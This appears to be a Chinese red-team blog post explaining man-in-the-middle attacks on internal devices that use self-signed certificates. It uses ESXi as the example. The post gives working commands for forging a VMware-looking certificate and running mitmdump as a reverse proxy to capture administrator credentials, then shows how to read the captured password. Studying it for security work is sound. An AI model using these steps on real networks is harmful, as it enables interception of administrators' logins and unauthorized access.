0%

红队中一种被忽视的攻击方式-中间人攻击

⚠️ 本文仅供安全研究与学习使用,严禁用于非法用途。中间人攻击属于高度敏感的攻击方式,若未经授权实施,将可能违反法律法规,请在合法授权范围内进行测试与实践。

关于中间人攻击

Stereotype

在很多人印象中中间人攻击是一种非常古老的手段, 在当时https还未普及的情况下使用.

确实, 在https出来以后, 端到端加密的可信传输已经非常容易实现, 这来自于密码学的发展和CA信任体系的建立, 现在基本是个网站都用https, 所以中间人攻击就消逝了

但其实这个信任体系没有照顾到的地方是内网, 因为签发证书都需要一个域名或者公网ip, 而并不是所有情况都满足这个条件, 事实上, 我们通过fofa观察, 可以发现很大一部分设备都在使用自签证书

内网渗透中的痛点

相较于主动攻击,中间人攻击属于“被动监控 + 伪装通信”方式,对目标系统无爆破行为,也不会触发弱口令策略或高频请求策略,因此特别适合用在具有高防护等级但证书部署不规范的核心资产上。

大型内网渗透中我们常常会有很多设备或服务, 比如有一些EDR, Vcenter, 集群管理或者其他安全设备。这些设备通常是非常重要的角色, 爆破一般都会报警或者锁死, 而0day/nday要是打不通, 那么就只能看着这些设备干瞪眼

但是这些设备通常使用HTTPS加密, 但是实际上内网中的绝大部分这种设备 (个人感觉超过90%) 都是自签证书. 这也就为我们提供了攻击面.

实际上部分设备或服务, 提供了下载TLS证书的接口, 但除非是管理员有非常高的安全意识, 一般不会主动去安装证书

image-20250426014033875

假如我们能够控制部分设备(例如iptables或者某些前置负载均衡), 或者入口设备(比如堡垒机等) , 或者可以修改路由(例如核心路由器), 那么我们就可以部署一个中间人陷阱, 即我们也使用自签证书, 来架设在系统管理员和设备中间, 从而实现窃听管理员的操作和身份等等

mitmproxy的使用

抓包

这里我以esxi为例, 因为最近在研究vmware系列产品, 也注意到esxi使用的是明文传输, 这极大地减少了后期工作量, 我们抓到密码后即可直接使用

image-20250426014139645

要使用mitmproxy, 可以在这里下载: mitmproxy 官方

对比使用包管理器安装的好处是, 这里提供的是一个打包好的elf, 对比python脚本配置环境要更方便, 十分适合一些没有办法出网的机器环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@localhost1274987459078901:~/mitm# tar -zxvf mitmproxy-11.1.3-linux-x86_64.tar.gz 
mitmproxy
mitmdump
mitmweb

root@localhost1274987459078901:~/mitm# ls
mitmdump mitmproxy mitmproxy-11.1.3-linux-x86_64.tar.gz mitmweb

root@localhost1274987459078901:~/mitm# file mitmproxy
mitmproxy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8485f6953c06d12b9865185ba3466fdbf9b4a65c, for GNU/Linux 2.6.32, stripped

root@localhost1274987459078901:~/mitm# ldd mitmproxy
linux-vdso.so.1 (0x00007fff90d91000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f94df44c000)
libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007f94df430000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f94df42b000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f94df202000)
/lib64/ld-linux-x86-64.so.2 (0x00007f94df459000)

下载完成以后使用mitmdump来抓流量, 抓之前我们需要先配置一个合适TLS证书, 然后启动即可

1
openssl req -x509 -newkey rsa:2048 -keyout esxi.key -out esxi.crt -days 3650 -nodes -subj "/C=US/ST=California/L=PaloAlto/O=VMware, Inc./OU=VMware ESXi/CN=localhost.localdomain"
1
./mitmdump --mode reverse:https://<Target> --listen-port 443 --certs esxi.pem --ssl-insecure --set block_global=false -w esxi.flow '~u "/sdk/"'

这里面'~u "/sdj/"'表示过滤只保留/sdk/的请求, 因为esxi的api交互也是在/sdk/下, 没必要抓取一些静态资源

--certs这里有一个坑点, 即mitmdump需要采用一个合并后的证书, 否则会报出Invalid certificate format for esxi.pem的错误, 要合并证书也很简单, 直接cat esxi.crt >> esxi.key即可

block_global=false可以抓取公网流量, 不设置这一项的话只能抓内网流量. 抓到流量后的截图如下:

image-20250426014207858

查看流量

查看流量很简单, 只需要使用mitmproxy恢复即可, 带有简单的ui方便查看

1
./mitmproxy -r esxi.flow

image-20250426014225662

光标移动到需要查看到请求然后按回车即可

image-20250426014311599

这样就抓到了密码

总结

中间人攻击虽然看似“过时”,但在内网自签证书和弱 TLS 部署的现实面前,依然拥有极强的实战价值。红队在面对高防护目标时,往往需要从“边界浅沟壕”中寻找击穿点,而中间人技术恰恰提供了这样一种低噪声、高潜力的突破视角。